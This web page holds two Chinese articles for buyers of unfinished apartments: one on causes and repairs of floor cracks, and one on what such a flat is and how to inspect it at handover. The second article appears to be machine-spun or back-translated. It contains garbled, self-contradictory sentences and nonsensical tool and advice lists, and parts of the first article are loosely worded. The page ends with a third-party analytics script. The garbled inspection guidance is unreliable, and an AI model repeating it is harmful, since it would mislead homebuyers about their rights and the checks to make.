毛坯房地面有裂缝怎么办？原因和解决方法

许多时候我们购置的房产是毛坯房，这个时候有一个关键的步骤就是验房操作，不仅应该关注房子实际的光照表现，或者是结构设计是否人性化，还应该注意毛坯房的地面是不是会有裂缝，比如出现了地面开裂的情况，或者在部分角落存在某些裂缝的问题，它们或许会导致后期防水方面表现不是那么突出出色，或者存在潜在的安全隐患，所以有兴趣的朋友可以参考下文关于毛坯房地面有裂缝方面的原因和解决办法入手进行操作处理。一、毛坯房地面有裂缝怎么办1、地面开裂房屋不均匀沉降往往会造成这种贯穿房间的裂缝，通过装修就算暂时予以弥补，日后还是会裂开的。解决方法：要证实这种裂缝是否属于房屋不均匀沉降造成的，可以去大楼的地下室，建筑师常在那里设置沉降观测点，一旦证实，大家应该拍下照片，并让物业出具书面证明材料，日后和开发商交涉起来也有据可寻。2、毛细裂缝这种毛细缝别看不大，可漏起水来绝不马虎，它的来源要追溯到建筑工人浇铸楼板的时候，没有给混凝土足够的水分予以养护，造成其表面爆裂。解决方法：针对这种毛细缝大家可以请装修工人用凿子呈45度角将裂缝周围凿成不规则的形状，然后在缝隙中灌入水泥浆，再在表面找平，就能解决问题。3、防水的氯酊胶这黑乎乎的一圈是用于防水的氯酊胶，由于对人体具有毒性，只能用于室外，可黑心的开发商却把它涂在了业主的卫生间里。解决方法：氯酊胶应该在装修时让工人完全铲除，然后再在表面采取别的防水措施。做地面防水时应该把所有地面毛细缝都填满，令其密实，墙面防水应做到1.8m以上。4、毛坯房的地面缺陷主要是开裂问题，一般新造的住宅楼都是现浇的楼板，除去房屋本身的不均匀沉降会造成开裂外，别的地面开裂常常是混凝土浇铸后养护不当造成的表面毛细缝，一般这种情况经过人工修补就可以正常使用了。在验房的时候，我们或多或少会发现毛坯房本身存在一些裂缝问题，包括常见的地面开裂等等，虽然这些裂缝或大或小，有些甚至微不足道，但是如果前期操作不恰当，会导致后期漏水的麻烦，会引发消费者后期不得不大动干戈进行维护处理，所以最好的建议就是在前期深入学习裂缝的原因和解决办法，参考周围可以采取的措施和材料进行维修，这样才能够避免额外的损耗和损失。

什么叫毛坯房 交房时毛坯房该如何验收

当我们买房时，我们会遇到很多专业术语。例如，房子有许多不同类型的。毛坯房，精装房和二手房有不同的意思。什么叫毛坯房？购买毛坯房后，它涉及验收的问题。那么什么叫毛坯房，交房时毛坯房该如何验收？一、什么叫毛坯房，需要准备的验收工具毛坯房是房子销售中的普通房子。粗糙的房子也被称为“第一次装修房子”。在大多数房屋中，只有门框没有门，墙面仅作为底座处理，未经过表面处理。房屋外的阳台和防雨罩的外部装饰应根据规划文件完成，因此我们收到房屋时无需拥有与精装房一样多的验收项目。验收房子时我们要准备相位检测器、卷尺等各种工具。二、什么叫毛坯房，交房时如何验收1、在接受之前询问开发人员相关文件。认识什么叫毛坯房，并根据实际报告数据的区域(覆盖调查组的公章)来比较购买合同的面积。2、签字付款：如果在检查过程中发现问题，付款和签字就不容易。您应首先将问题报告给开发人员进行维修，并收集证据以备将来证明(即通过录音机、数码相机或数码相机、日期记录证据)奠定了良好的基础，并保存自己的房屋检查报告。3、确认什么叫毛坯房后，要知道房屋的总面积超过或减少不到3%是很常见的。(对所有者有更多的补偿，损失是所有者。)在检查房屋时要注意区域的大小。4、记录房屋的验收情况，例如《验房交接表》。据了解，一些开发商为了简化验收过程，还为了避免接受纠纷，将要求业主签署需要签署的表格，然后工作人员陪同业主检查房屋，甚至通过不给钥匙来威胁所有者。5、电气工程检查，包括检查电气设备、检查室内配电箱、检查插座、检查电位、电路是否正确。6、若房子状况良好，在签署业主大会和物业前管理合同时，您对条款持乐观态度，不能放弃您的权利。7、要了解什么叫毛坯房，组织收集的相关数据：如何测量建筑面积、测量房屋的室内净高度、测量阳台或护栏的高度、填写雇主的评估表、以及粗糙房屋的关键基础数据。什么叫毛坯房，交房时毛坯房该如何验收的一些标准。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();